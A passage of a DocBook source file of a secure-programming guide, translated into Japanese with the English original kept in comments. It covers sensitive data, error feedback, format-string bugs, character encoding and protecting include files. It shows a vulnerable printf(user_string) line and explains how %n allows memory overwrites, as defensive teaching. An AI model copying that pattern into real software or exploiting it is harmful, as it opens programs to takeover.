(say, via a web browser); downloading other files from the same location
at the same time is much less likely to concern users.
-->
Web バグは、おもにファイルフォーマットの設計に当たって問題となります。
ユーザがプライバシーを大事にするなら、おそらくファイルを含む自動的な
ダウンロードに制限をかけたくなるしょう。
ファイル自体をダウンロードする場合(つまり、Web ブラウザ経由で)は、例外の 
1 つです。
他のファイルを同じ場所から同じ時間にダウンロードしても、ユーザにはほとんど
関係ありません。
</para>

</sect1>

<sect1 id="hide-sensitive-information">
<!-- <title>Hide Sensitive Information</title> -->
<title>秘密にしたい情報は隠す</title>
<para>
<!--
Sensitive information should be hidden from prying eyes, both while
being input and output, and when stored in the system.
Sensitive information certainly includes credit card numbers,
account balances, and home addresses, and in many applications
also includes names, email addressees, and other private information.
-->
秘密にしたい情報は、詮索好きな目から見えないようにすべきです。入力であっても
出力であっても、システムに保存されている時にはそうすべきです。
秘密にしたい情報には、クレジットカードの番号や貯金の残高、自宅の住所等
が必ず含まれます。また、アプリケーションは名前や電子メールのアドレス他の
プライベートな情報をたくさん扱っています。

</para>

<para>
<!--
Web-based applications should encrypt all communication with a user
that includes sensitive information; the usual way is to use the
"https:" protocol (HTTP on top of SSL or TLS).
According to the HTTP 1.1 specification (IETF RFC 2616 section 15.1.3),
authors of services which use the HTTP protocol <emphasis>should not</emphasis>
use GET based forms for the submission of sensitive data,
because this will cause this data to be encoded in the Request-URI.
Many existing servers, proxies, and user agents will log
the request URI in some place where it might be visible to third parties.
Instead, use POST-based submissions, which are intended for
this purpose.
-->
Web ベースのアプリケーションは、ユーザとの通信に秘密にしたい情報があるなら、
すべて暗号化する必要があります。
普通は、「https」プロトコル(HTTP を SSL や TLS にのせている)を使います。
HTTP 1.1 の規格書(IETF RFC 2616 セクション 15.1.3)によれば、HTTP プロトコルを
使ってサービスを提供している著者は、GET をベースにしたフォームを秘密にしたい
データの登録に<emphasis>使用すべきではないとしています</emphasis>。そうすると、
このデータがリクエストした URI に符号化して入ってしまうからです。
既存のサーバやプロクシ、ユーザ側のエージェントの多くは、リクエストした URI 
をどこかに記録し、この記録が第三者から見えてしまうかもしれません。
GET のかわりに、この目的に向いている POST ベースで登録を使ってください。

</para>

<para>
<!--
Databases of such sensitive data should also be encrypted on any storage
device (such as files on a disk).
Such encryption doesn't protect against an attacker breaking the secure
application, of course, since obviously the application
has to have a way to access the encrypted data too.
However, it <emphasis>does</emphasis> provide some defense against
attackers who manage to get backup disks of the data
but not of the keys used to decrypt them.
It also provides some defense if an attacker doesn't manage to break
into an application, but does manage to partially break into a related
system just enough to view the stored data - again, they now have to
break the encryption algorithm to get the data.
There are many circumstances where data can be transferred unintentionally
(e.g., core files), which this also prevents.
It's worth noting, however, that this is not as strong a defense as you'd
think, because often the server itself can be subverted or broken.
-->
秘密扱いのデータを扱うデータベースでは、記憶装置(ディスク上のファイル等)
も暗号化しておくべきです。
そのような暗号化をしても、攻撃者が安全が必要なアプリケーションを破壊する行為を
防げませんし、当然ながらアプリケーションは、暗号化したデータにアクセスする
何らかの手段も用意しなければなりません。
しかし、データが入ったバックアップ用のディスクをどうにか得ようとする攻撃者
に対しては、防御に<emphasis>なります</emphasis>。しかしデータの復号に使用
する鍵を得ようとする攻撃に対しては、効果がありません。
また、攻撃者がアプリケーションにまんまと侵入できなければ防御になります。
しかし、関連しているシステムの一部に侵入できれば、保管してあるデータを見る
のには十分です。この場合も、攻撃者は暗号化アルゴリズムを破らなければ、データ
を取得できません。
データが不用意に移動してしまうケースがたくさんあります(たとえば core ファイル)
が、これも防げます。
しかし注目すべきなのは、思ったほどこれが強力な防御にはならない点です。サーバ
自身がやられてしまう可能性があるからです。
</para>
</sect1>
</chapter>

<chapter id="output">
<!-- <title>Send Information Back Judiciously</title> -->
<title>情報はえりすぐってフィードバックする</title>

<epigraph>
<!-- <attribution>Proverbs 26:4 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 26 章 4 節</attribution>
<para>
<!--
Do not answer a fool according to his folly,
or you will be like him yourself. 
-->
愚か者にはその無知にふさわしい答えをするな
あなたが彼に似た者とならぬために。
</para>
</epigraph>

<sect1 id="minimize-feedback">
<!-- <title>Minimize Feedback</title> -->
<title>フィードバックは最小限に</title>
<para>
<!--
Avoid giving much information to untrusted users; simply succeed or fail,
and if it fails just say it failed and minimize information on why it failed.
Save the detailed information for audit trail logs.
For example:
-->
信頼できないユーザに対しては、多くの情報を提供しないようにしてください。ただ
成功したか、失敗したかを教えて、失敗しても失敗したと言うだけにして、なぜ失敗
したかについては、できるだけ教えないようにしてください。
詳細な情報はユーザの痕跡を検証したログに保存してください。
たとえば、

<itemizedlist>
<listitem>

<para>
<!--
If your program requires some sort of user authentication
(e.g., you're writing a network service or login program),
give the user as little information as possible before they authenticate.
In particular, avoid giving away the version number of your program
before authentication.
Otherwise,
if a particular version of your program is found to have a vulnerability,
then users who don't upgrade from that version advertise to attackers that
they are vulnerable.
-->
プログラムに何らかのユーザ認証が必要な場合(たとえばネットワークサーバや
ログイン・プログラムを作成している)、認証前の段階では、ユーザにはできる
だけ情報を与えないようにしてください。特に認証前にプログラムのバージョン
ナンバーを漏らすことがないようにしてください。
そうしないと、特定のバージョンのプログラムに穴があることがわかってしまった
場合、そのバージョンからアップグレードしないユーザが攻撃者にみすみす穴を
教えてしまうことになってしまいます。
</para>
</listitem>
<listitem>

<para>
<!--
If your program accepts a password, don't echo it back;
this creates another way passwords can be seen.
-->
プログラムがパスワードを要求する場合、入力を表示してはいけません。パスワード
がばれる原因の 1 つになってしまいます。
</para>
</listitem>

</itemizedlist>

</para>
</sect1>

<sect1 id="no-comments">
<!-- <title>Don't Include Comments</title> -->
<title>コメントはいれない</title>

<para>
<!--
When returning information, don't include any ``comments'' unless you're
sure you want the receiving user to be able to view them.
This is a particular problem for web applications that generate files
(such as HTML).
Often web application programmers wish to comment their work
(which is fine), but instead of simply leaving the comment in their code,
the comment is included as part of the generated file (usually HTML or XML)
that is returned to the user.
The trouble is that these comments sometimes provide insight into how
the system works in a way that aids attackers.
-->
情報を返す時には、情報を受け取るユーザにコメントを見せてもよいと望んでいない
限りは、「コメント」を入れてはいけません。
ファイル(HTML のような)を作成する Web アプリケーションにこの問題は顕著です。
Web アプリケーションのプログラマは、自分の作品にコメントを入れたがり(これは
良いことです)ますが、コード中にただコメントを残すだけでなく、作成したファイル
(普通は HTML か XML)の一部として含めます。それがユーザに返されます。
このコメントが時にそのシステムがどのように動作しているかを見抜く手段を提供
し、攻撃者を助けることになります。
</para>
</sect1>

<sect1 id="handle-full-output">
<!-- <title>Handle Full/Unresponsive Output</title> -->
<title>出力が溢れたり、反応が遅い場合も対処する</title>

<para>
<!--
It may be possible for a user to clog or make unresponsive a secure
program's output channel back to that user.
For example, a web browser could be intentionally halted or have its
TCP/IP channel response slowed.
The secure program should handle such cases, in particular it should release
locks quickly (preferably before replying) so that this will not create
an opportunity for a Denial-of-Service attack.
Always place time-outs on outgoing network-oriented write requests.
-->
安全が求められるプログラムで、ユーザへ出力する過程を詰まらせたり、
出力の反応を遅くさせられることが、ユーザにとって可能かもしれません。
たとえば、Web ブラウザは故意に TCP/IP の経路を切断したり、反応速度を遅く
したりできます。
そのようなケースに対しても、安全が求められるプログラムは対応するべきです。
特にロックはすみやかに外すようにすべきです(できれば反応を返す前に)。
そうすれば、サービス拒否攻撃の隙ができるようなことはありません。
ネットワークへの書き込み要求は、常にタイムアウトを設定すべきです。

</para>

</sect1>

<sect1 id="control-formatting">
<!-- <title>Control Data Formatting (``Format Strings'')</title> -->
<title>データフォーマットを制御する(「書式文字列」)</title>

<para>
<!--
A number of output routines in computer languages have a
parameter that controls the generated format.
In C, the most obvious example is the printf() family of routines
(including printf(), sprintf(), snprintf(), fprintf(), and so on).
Other examples in C include syslog() (which writes system log information)
and setproctitle() (which sets the string used to display
process identifier information).
Many functions with names beginning with ``err'' or ``warn'', containing
``log'' , or ending in ``printf'' are worth considering.
-->
コンピュータ言語における出力ルーチンは、書式を制御するパラメタを持っている
ケースが多くあります。
C で最もよく知られた例が printf()系のルーチン(printf()や sprintf()、
snprintf()、fprintf()等)です。
C での他の例は syslog()(システムのログ情報を書く)や setproctitle()
(プロセス識別子の情報を文字で表示するのに使用)です。
関数に付いた名前は、「err」や「warn」ではじまったり、「log」が含まれていたり、
「printf」で終わったりしている点に注意する価値はあります。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- log() style functions calling v* in particular -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Some info from 7/21/2000, Theo de Raadt on Bugtraq -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- OpenBSD docs for setproctitle() is at
     http://www.rocketaware.com/man/man3/setproctitle.3.htm -->
<!--
Python includes the "%" operation, which on strings controls formatting
in a similar manner.
Many programs and libraries define formatting functions, often by
calling built-in routines and doing additional processing
(e.g., glib's g_snprintf() routine).
-->
Python は「%」演算子を持っていて、文字列にあると書式を同じように制御
します。
プログラムやライブラリの多くは、フォーマット機能を定義していて、普通は
組み込みルーチンを呼び出し、さらに処理を加えます(たとえば、glib の 
g_snprintf()ルーチンのように)。
</para>

<para>
<!--
Surprisingly, many people seem to forget the power of these formatting
capabilities and use data from untrusted users as the formatting parameter.
Never use unfiltered data from an untrusted user as the format parameter.
Perhaps this is best shown by example:
-->
意外にも、これらのフォーマット機能を見くびっているように思える方々がたくさん
いて、信頼できないユーザからのデータを、書式パラメタとして利用しています。
フィルタをかけることなしには、信頼できないユーザからのデータを書式パラメタ
として使用しないでください。
例としてぴったりなのが下記です。
<programlisting width="61">
  /* Wrong ways: */
  printf(string_from_untrusted_user);
  /* Right ways: */
  printf("%s", string_from_untrusted_user); /* safe */
  fputs(string_from_untrusted_user); /* better for simple strings */
</programlisting>
</para>

<para>
<!--
Otherwise, an attacker can cause all sorts of mischief by carefully
selecting the formatting string.
The case of C's printf() is a good example -
there are lots of ways to possibly exploit user-controlled format strings
in printf().
These include
buffer overruns by creating a long formatting string (this can
result in the attacker having complete control over the program),
conversion specifications that use unpassed parameters
(causing unexpected data to be inserted), and
creating formats which produce totally unanticipated result values
(say by prepending or appending awkward data,
causing problems in later use).
A particularly nasty case is printf's
%n conversion specification, which writes the
number of characters written so far into the pointer argument; 
using this, an attacker can overwrite a value that was intended for printing!
An attacker can even overwrite almost arbitrary locations, since the attacker
can specify a ``parameter'' that wasn't actually passed.
Many papers discuss these attacks in more detail, for example, you can see
<ulink url="http://www-syntim.inria.fr/fractales/Staff/Raynal/LinuxMag/SecProg/Art4/index.html">Avoiding security holes
when developing an application - Part 4: format strings</ulink>.
-->
さもなければ、攻撃者は書式文字列を慎重に選んで、ありとあらゆる悪さを行います。
C の printf() が良い例です。
printf()を使って、ユーザが制御している書式文字列を悪用する方法はたくさん
あります。
これらの方法には、長い書式文字列によるバッファオーバーラン(攻撃者がプログラム
を完全にコントロールできてしまいます)や認められていないパラメタを使用する
変換規則(予想外のデータを挿入する)、まったく予想できない結果になる値を作り
だすフォーマット等があります(不適切なデータを前後に入れて、後で利用する
時に問題を起こす)。
特にひどいケースは、printf の %n の変換規則です。この規則では、多量の文字
をポインタ引数にあるだけ書き込みます。
これを使うと、攻撃者は書き込もうとした値に上書きできてしまいます。
また、攻撃者はほとんど任意の場所に上書きさえ可能です。それは本来は渡され
なかった「パラメタ」を指定できるからです。
これらの攻撃について詳しく論じた資料はたくさんあります。たとえば、
<ulink url="http://www-syntim.inria.fr/fractales/Staff/Raynal/LinuxMag/SecProg/Art4/index.html">Avoiding security holes
when developing an application - Part 4: format strings</ulink> 
がその 1 つです。
</para>

<para>
<!--
Since in many cases the results are sent back to the user,
this attack can also be used to expose internal information about the stack.
This information can then be used to circumvent stack protection systems
such as StackGuard; StackGuard uses constant ``canary'' values
to detect attacks, but if the stack's contents can be displayed,
the current value of the canary will be
exposed and made vulnerable.
-->
結果をユーザに返すケースが多いので、この攻撃はスタックについての内部情報
をさらす場合にも使われます。
この情報は、StackGuard のようなスタックを守るシステムを回避するのにも利用
できます。StackGuard は定数の「canary」値を用いて攻撃を検知します。
しかしスタックの内容が表示できるなら、現在の canary の値がさらされて、攻撃
を受けやすくなります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Fri, 21 Jul 2000 12:21:20 -0400,
     From:    Alan DeKok <aland@STRIKER.OTTAWA.ON.CA>
     Subject: StackGuard with ... Re: [Paper] Format bugs.
-->
</para>

<para>
<!--
A formatting string should almost always be a constant string,
possibly involving a function call to implement a
lookup for internationalization (e.g., via gettext's _()).
Note that this
lookup must be limited to values that the program controls, i.e., the
user must be allowed to only select from the message files controlled
by the program.
It's possible to filter user data before using it (e.g., by designing
a filter listing legal characters for the format string such as [A-Za-z0-9]),
but it's usually better to simply prevent the problem
by using a constant format string or fputs() instead.
Note that although I've listed this as an ``output'' problem, this can
cause problems internally to a program before output
(since the output routines may be saving to a file, or even just generating
internal state such as via snprintf()).
-->
書式文字列は、ほとんどいつも文字列定数のはずですが、国際化を見つけ出す関数
呼び出し(たとえば、gettext の _())を含むこともあります。
この検索を行うには、プログラムが制御する値に制約を設けなければなりません。
つまりユーザは、プログラムが管理しているメッセージファイルからしか選択
できないようにしなければいけません。
ユーザのデータには、使用前にフィルタをかけられます(書式文字列として正しい文字、
たとえば [A-Za-z0-9] のような文字をリストアップしてフィルタを設計します)。
しかし、問題を防ぐのに、普通はもっと簡単で良い方法があります。それは、書式
文字列を固定するか、fputs()を使用するかです。
先に「出力」の問題としてリストアップしましたが、内部的に出力以前のプログラム
に対しても問題が発生します(出力ルーチンはファイルに保存しているかもしれず、
snprintf()を使って、内的な状態の生成さえしているかもしれないからです)。
</para>

<para>
<!--
The problem of input formatting causing security problems
is not an idle possibility; see CERT Advisory CA-2000-13
for an example of an exploit using this weakness.
For more information on how these problems can be exploited, see
Pascal Bouchareine's email article titled ``[Paper] Format bugs'',
published in the July 18, 2000 edition of
<ulink url="http://www.securityfocus.com">Bugtraq</ulink>.
-->
入力フォーマットの問題によって、セキュリティ上の問題が発生するのは、あながち
ないともいえません。CERT Advisory CA-2000-13 を見れば、この弱点を利用した
攻撃の例が載っています。
これらの問題がいかにやられやすいのかについて、さらに詳しい情報は、
Pascal Bouchareine 氏の 電子メールで、タイトルが「[Paper] Format bugs」
にあります。これが書かれたのは 2000 年 7 月 18 日です 
<ulink url="http://www.securityfocus.com">Bugtraq</ulink>。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This paper can be hard to extract, but it's there -->
<!--
As of December 2000,
developmental versions of the gcc compiler support warning messages for
insecure format string usages, in an attempt to help developers avoid
these problems.
-->
2000 年 12 月現在、gcc コンパイラの開発版では、安全でない書式文字列に対して
の警告メッセージをサポートしています。開発者がこれらの問題を回避できる
ように支援する試みです。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- John Levon passed this information on to me; as of Dec 11, 2000, this
  was in the CVS version of gcc -->
</para>

<para>
<!--
Of course, this all begs the question as to whether or not the
internationalization lookup is, in fact, secure.
If you're creating your own internationalization lookup routines,
make sure that an untrusted user can only specify a legal locale and not
something else like an arbitrary path.
-->
もちろんこれは国際化の検索が実際のところ安全かどうか、という疑問をはぐら
かしています。
自分で国際化の検索ルーチンを作成しているなら、信頼できないユーザには、正しい
ロカールだけが指定可能で、勝手なパスを指定するような、何か違うものを指定
できないようにしてください。
</para>

<para>
<!--
Clearly, you want to limit the strings created through internationalization
to ones you can trust.
Otherwise, an attacker could use this ability to exploit the
weaknesses in format strings, particularly in C/C++ programs.
This has been an item of discussion in Bugtraq (e.g., see
John Levon's Bugtraq post on July 26, 2000).
For more information, see the discussion on
on permitting users to only select legal language values in
<xref linkend="locale-legal-values">
-->
信頼できる相手に対するものであっても、国際化によって作られた文字列には
制限をかけなければいけません。これは明白です。
そうしないと、攻撃者はこの機能を利用して書式文字列の弱点に突け込みます。
これは C や C++ のプログラムに顕著です。
この点は Bugtraq で話題になってきました(たとえば、John Levon 氏が 
2000 年 7 月 26 日に Bugtraq に投稿したものを見てください)。
さらなる情報は、ユーザに許可する選択は、正しい言語の値だけにすることを論じた 
<xref linkend="locale-legal-values"> を見てください。
</para>

<para>
<!--
Although it's really a programming bug, it's worth mentioning that
different countries notate numbers in different ways, in particular,
both the period (.) and comma (,) are used to separate an integer
from its fractional part.  If you save or load data, you need to make sure
that the active locale does not interfere with data handling.
Otherwise, a French user may not be able to exchange data with an
English user, because the data stored and retrieved will use
different separators.
I'm unaware of this being used as a security problem, but it's conceivable.
-->
プログラミング上のバグであるとはいえ、いろいろな国々でさまざまな方法で数字を
表記している点に触れるのは意味があります。特にピリオド(.)とカンマ(,)が、
整数と端数部分を区切るのに使われている点に対して。データを保存したり、
読み込んだりするなら、使用中のロカールがデータの取り扱いに絶対干渉しない
ようにしなければなりません。
そうしなければ、フランス語ユーザは英語ユーザとデータを交換できないかもしれ
ません。理由は、保存されたり、取り出したりしたデータは違う区切りを使っている
かもしれないからです。
セキュリティ上の問題としてこれが利用されるのかどうかは定かではありませんが、
ないとも思えません。
</para>

</sect1>

<sect1 id="output-character-encoding">
<!-- <title>Control Character Encoding in Output</title> -->
<title>出力時に文字符号化を制御する</title>

<para>
<!--
In general, a secure program must ensure that it synchronizes its
clients to any assumptions made by the secure program.
One issue often impacting web applications is that they forget to
specify the character encoding of their output.
This isn't a problem if all data is from trusted sources, but if
some of the data is from untrusted sources, the untrusted source may
sneak in data that uses a different encoding than the one expected
by the secure program.
This opens the door for a cross-site malicious content attack; see
<xref linkend="input-protection-cross-site"> for more information.
-->
一般的に、安全が必要なプログラムでは、そのプログラムが決めた前提条件と
クライアントが同期していなければいけません。
よくある問題の 1 つとして、文字を出力する際に符号化指定を行わないと、Web 
アプリケーションに支障がでる点が挙げられます。
すべてのデータが信頼できる元からくる場合はかまいません。しかし、信頼できない
元からもデータがくるなら、信頼できない元が安全が必要なプログラムの予期でき
ない別の符号化を使って、データを偽るかもしれません。
これがサイトにまたがる悪意ある攻撃のきっかけになります。詳しくは、
<xref linkend="input-protection-cross-site"> を見てください。
</para>

<para>
<!--
<ulink url="http://www.cert.org/tech_tips/malicious_code_mitigation.html">CERT's tech tip on malicious code mitigation</ulink> explains the problem
of unspecified character encoding fairly well, so I quote it here:
-->
<ulink url="http://www.cert.org/tech_tips/malicious_code_mitigation.html">CERT's tech tip on malicious code mitigation</ulink> でこの文字符号化を指定しない
問題についてかなりわかりやすく解説していますので、ここで引用します。
<blockquote>
<para>
<!--
Many web pages leave the character encoding
("charset" parameter in HTTP) undefined.
In earlier versions of HTML and HTTP, the character encoding
was supposed to default to ISO-8859-1 if it wasn't defined.
In fact, many browsers had a different default, so it was not possible
to rely on the default being ISO-8859-1.
HTML version 4 legitimizes this - if the character encoding isn't specified,
any character encoding can be used.
-->
Web ページの中には、文字符号化(HTTP の「charset」パラメタ)を定義していない
ところがたくさんあります。
HTML や HTTP の初期バージョンでは、文字符号化が定義されていないと、デフォルト
で ISO-8859-1 であると仮定していました。
実際に、ブラウザのデフォルトはさまざまだったので、デフォルトを ISO-8859-1 
としてしまうのには無理がありました。
HTML version 4 では、文字符号化を指定していなければ、どの符号化を使っても
かまわないことになりました。
</para>

<para>
<!--
If the web server doesn't specify which character encoding is in use,
it can't tell which characters are special.
Web pages with unspecified character encoding work most of the time
because most character sets assign the same characters to byte values
below 128.
But which of the values above 128 are special?
Some 16-bit character-encoding schemes have additional
multi-byte representations for special characters such as "<".
Some browsers recognize this alternative encoding and act on it.
This is "correct" behavior, but it makes attacks using malicious scripts
much harder to prevent.
The server simply doesn't know which byte sequences
represent the special characters.
-->
Web サーバがどの文字符号化を使うのか指定していないと、どの文字が特殊文字
なのかがわかりません。
文字符号化を指定していない Web ページは、たいていの場合うまく動作します。
それは文字集合のほとんどが、128 以下のバイト値に同じ文字を割り当てて
いるからです。
しかし、128 以上の値のどれが特殊文字なのでしょうか。
16 ビットの文字符号化方式には、「<」のような特殊文字を表示するのに、追加で
複数バイトを使っているものもあります。
ブラウザには、これを別の符号化として認識し、動作するものもあります。
これは「正しい」動作なのですが、悪意あるスクリプトを使った攻撃が、防ぎづらく
なってしまっています。
サーバはどのバイトシーケンスが特殊文字を現すのか、単純には判断できなくなり
ます。
</para>

<para>
<!--
For example, UTF-7 provides alternative encoding for "&lt;" and "&gt;",
and several popular browsers recognize these as the start and end of a tag.
This is not a bug in those browsers.
If the character encoding really is UTF-7, then this is correct behavior.
The problem is that it is possible to get into a situation in which
the browser and the server disagree on the encoding. 
-->
たとえば、UTF-7 は「&lt;」と「&gt;」に対して、異なる符号化を提供しています。
またよく使われているブラウザのいくつかは、これらをタグの開始と終了として認識
するものもあります。
これはブラウザのバグではありません。
文字符号化が本当に UTF-7 なら、これは正しい動作です。
問題は、ブラウザとサーバが符号化で同期がとれていない状況に陥る可能性が
ある点です。
</para>
</blockquote>
</para>

<para>
<!--
Thankfully, though explaining the issue is tricky, its resolution in HTML
is easy.
In the HTML header, simply specify the charset, like this example
from CERT:
-->
この問題を説明するのは厄介ですが、有り難いことに、HTML での解決策は簡単です。
HTML ヘッダに文字セットを下記の例のように設定するだけです。
<programlisting>
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;META http-equiv=&quot;Content-Type&quot;
content=&quot;text/html; charset=ISO-8859-1&quot;&gt;
&lt;TITLE&gt;HTML SAMPLE&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;P&gt;This is a sample HTML page
&lt;/BODY&gt;
&lt;/HTML&gt;
</programlisting>

</para>

<para>
<!--
From a technical standpoint,
an even better approach is to set the character encoding as part of
the HTTP protocol output, though some libraries make this more difficult.
This is technically better because it doesn't force the client to
examine the header to determine a character encoding that would enable it
to read the META information in the header.
Of course, in practice a browser that couldn't read the META information
given above and use it correctly would not succeed in the marketplace,
but that's a different issue.
In any case, this just means that the server would need to send
as part of the HTTP protocol, a ``charset'' with the desired value.
Unfortunately, it's hard to heartily recommend this (technically better)
approach, because some older HTTP/1.0 clients did not deal properly with
an explicit charset parameter.
-->
技術的な観点からすると、文字符号化を HTTP プロトコルの出力の一部として設定
する方が、さらに良い解決策です。しかし、これを難しくしているライブラリが存在
します。
この解決策は技術的には優れています。クライアントに強制的にヘッダーを調べさせ、
ヘッダー中にあるMETA 情報を読んでわかる文字符号化を判定する必要がないからです。
もちろん、現実的には上記のような META 情報を読めなかったり、正しく扱え
なかったりするブラウザは、市場では受け入れられていません。しかしそれは別問題
です。
いずれにしても、サーバが HTTP プロトコルの一部として「文字セット」に適切な
値を設定して送り出す必要があります。
残念ながら、この(技術的には優れた)解決方法を心からお薦めできません。
それは、古い HTTP/1.0 対応のクライアントには、明示的に指定してある charset 
パラメタを適切に扱えないものがあるからです。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This is documented in the HTTP 1.1 specification -->
<!--
Although the HTTP/1.1 specification requires clients to obey the parameter,
it's suspicious enough that you probably ought to use it as an
adjunct to forcing the use of the correct
character encoding, and not your sole mechanism.
-->
HTTP/1.1の仕様では、クライアントがこのパラメタに従うように定めていますが、
それを実現するのは、ははなはだ疑わしいと思います。おそらく、正しい文字符号化
の利用を強制する手段として、その仕様を唯一の方法としてではなく、追加の方法
として使うことになるでしょう。
</para>

</sect1>

<sect1 id="prevent-include-access">
<!-- <title>Prevent Include/Configuration File Access</title> -->
<title>Include ファイルや設定ファイルへのアクセスを防ぐ</title>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I was reminded of this by the Bugtraq posting of 1 Dec 2000
by Mads Bach (bach@INDER.NET), "Subject: Web based apps and include files" -->

<para>
<!--
When developing web based applications,
do not allow users to access (read) files such as the program include and
configuration files.
This data may provide enough information (e.g., passwords) to break into
the system.
Note that this guideline sometimes also applies to other kinds of applications.
There are several actions you can take to do this, including:
-->
Web ベースのアプリケーションを開発する時に、ユーザにプログラムの include 
ファイルや設定ファイルへのアクセス(読み込み)を認めてはいけません。
このデータは、システムに侵入するのに十分な情報(たとえば、パスワード)を提供する
かもしれません。
このガイドラインは、ケースによって他の種類のアプリケーションにも適用できる
ことを覚えておいてください。
このガイドラインを実行するのに、必要な作業がいくつかあります。
<itemizedlist>
<!--
<listitem><para>Place
the include/configuration files outside of the web documentation
root (so that the web server will never serve the files).</para></listitem>
-->
<listitem><para>
プログラムの include ファイルもしくはその設定ファイルは、Web のドキュメント
ルート外に置いてください(つまり、Web サーバはそれらのファイルを絶対外部に
出しません)。
</para></listitem>
<!--
<listitem><para>Configure the web server so it will not serve include files as
text.  For example, if you're using Apache,
you can add a handler or an action for .inc files.</para></listitem>
-->
<listitem><para>
include ファイルがテキストファイルとして外部に出さないように、Web サーバを設定
してください。たとえば、Apache を使っているなら、.inc ファイル用にハンドラか
アクションを追加できます。
</para></listitem>
<!--
<listitem><para>Place the include files
in a protected directory (using .htaccess), and designate them as files
that won't be served.
-->
<listitem><para>include ファイルは保護されたディレクトリ(.htaccess を使って)
に置いてください。その上で、外部に出ないファイルとして設定してください。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Suggested by Dustin Rue in Bugtraq 1 Dec 2000 to 4 Dec 2000 -->
</para></listitem>
<!--
<listitem><para>Use a filter to deny access to the files.
For Apache, this can be done using:
-->
<listitem><para>
ファイルに対してフィルタを使ってアクセスを拒否するようにしてください。
Apache なら、下記で実現できます。
<programlisting width="61">
<![CDATA[
 <Files ~ "\.phpincludes">
    Order allow,deny
    Deny from all
 </Files>
]]>
</programlisting>
<!--
If you need full regular expressions to match filenames, in Apache you
could use the FilesMatch directive.
-->
正規表現をフルに活用してファイル名をマッチさせる必要があるなら、Apache では
FilesMatch 命令を使えば実現できます。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Suggested by Julien Savoie and James Lyon
     in Bugtraq 1 Dec 2000 to 4 Dec 2000 -->
</para></listitem>
<!--
<listitem><para>If your include file is a valid script file,
which your server will parse,
make sure that it doesn't act on user-supplied parameters and that it's
designed to be secure.</para></listitem>
-->
<listitem><para>
include ファイルが正規のスクリプトで、それをサーバが解析するなら、ユーザが
渡してくるパラメタでは絶対動作しないようにしてください。
あわせて必ず安全に設計してください。
</para></listitem>
</itemizedlist>
</para>

<para>
<!--
These approaches won't protect you from users who
have access to the directories your files are in if they are world-readable.
You could change the permissions of the files so
that only the uid/gid of the webserver can read these files.
However, this approach won't work if the user can get the web server to
run his own scripts (the user can just write scripts to access your files).
Fundamentally, if your site is being hosted on a server shared with
untrusted people, it's harder to secure the the system.
One approach is to run multiple web serving programs, each with different
permissions; this provides more security but is painful in practice.
Another approach is to set these files to be read only by your uid/gid,
and have the server run scripts at ``your'' permission.
This latter approach has its own problems: it means that certain parts of
the server must have root privileges, and that the script may
have more permissions than necessary.
-->
これらの解決方法では、ファイルが置いてあるディレクトリを誰もが読める場合、
ユーザのアクセスを防御できません。
ファイルのパーミッションを変更して、Web サーバの uid もしくは gid を持って
いる者だけが読めるようにしてください。
しかしユーザが Web サーバで自分のスクリプトを実行できる(ユーザがファイルに
アクセスするスクリプトを書ける)のなら、この方法ではうまくありません。
そもそも、サイトをホスティングしているサーバが信頼できない人間と共有ならば、
システムを安全にするのは困難です。
解決方法の 1 つは、Web サービスを提供するプログラムを複数立ち上げ、それぞれ
パーミッションを別にすることです。この方法でさらに安全にはなりますが、実際
骨が折れる作業です。
また別の解決方法として、自分の uid や gid だけが対象ファイルを読めるように
設定し、サーバがそのスクリプトを「自分」のパーミッションで実行するように
します。
後者の方法はそれ自身問題があります。サーバのある部分に root の権限
が必要となるからです。そうなると、スクリプトに必要以上のパーミッション
が必要となるかもしれません。
</para>
</sect1>



</chapter>

<chapter id="language-specific">
<!-- <title>Language-Specific Issues</title> -->
<title>言語固有の問題</title>
<epigraph>
<!-- <attribution>1 Corinthians 14:10 (NIV)</attribution> -->
<attribution>新約聖書 コリントの信徒への手紙一 14 章 10 節)</attribution>
<para>
<!--
Undoubtedly there are all sorts of languages in the world,
yet none of them is without meaning.
-->
世にはいろいろな種類の言葉があり、どれ一つ意味を持たないものはありません。
</para>
</epigraph>

<para>
<!--
There are many language-specific security issues.
Many of them can be summarized as follows:
-->
言語には固有の問題がたくさんあります。
下記にその問題の多くを要約して挙げておきます。
<itemizedlist>
<listitem><para>
<!--
Turn on all relevant warnings and protection mechanisms available to you
where practical.
For compiled languages, this includes
both compile-time mechanisms and run-time mechanisms.
In general, security-relevant programs should compile cleanly with
all warnings turned on.
-->
関連する警告と実際に利用できる防御機構をすべて有効にしてください。
コンパイル言語では、コンパイル時と実行時の両方が対象になります。
一般的にセキュリティに関連しているプログラムでは、警告をすべて有効にして、
きちんとコンパイルすべきです。
</para></listitem>

<listitem><para>
<!--
If you can use a ``safe mode'' (e.g., a mode that limits the activities
of the executable), do so.
Many interpreted languages include such a mode.
In general, don't depend on the safe mode to provide absolute protection;
most language's safe modes have not been sufficiently analyzed for their
security, and when they are, people usually discover many ways to exploit it.
However, by writing your code so that it's secure out of safe mode, and
then adding the safe mode, you end up with defense-in-depth (since in
many cases, an attacker has to break both
your application code and the safe mode).
-->
「セーフ・モード」(つまり、実行動作に制約をかけられるモード)が利用できるなら、
そうしてください。
インタプリタ言語の多くは、そのようなモードを用意しています。
一般的に、セーフ・モードに頼って、それだけで防御を行ってはいけません。
セーフ・モードを持っている言語の大部分は、言語のセキュリティを十分に分析
しているとは言えません。そうなると、そこを狙ってさまざまな手段を見つけ出して
しまうのが通例です。
しかしコードを書くに当たっては、コードがセーフ・モードを使わなくても安全で
あるようにし、さらにセーフ・モードをかけて、最終的には何重にも防御をかかる
ようにします(おおかた、攻撃者はアプリケーションのコードとセーフ・モード両者
を壊さなければならなくなります)。

</para></listitem>

<listitem><para>
<!--
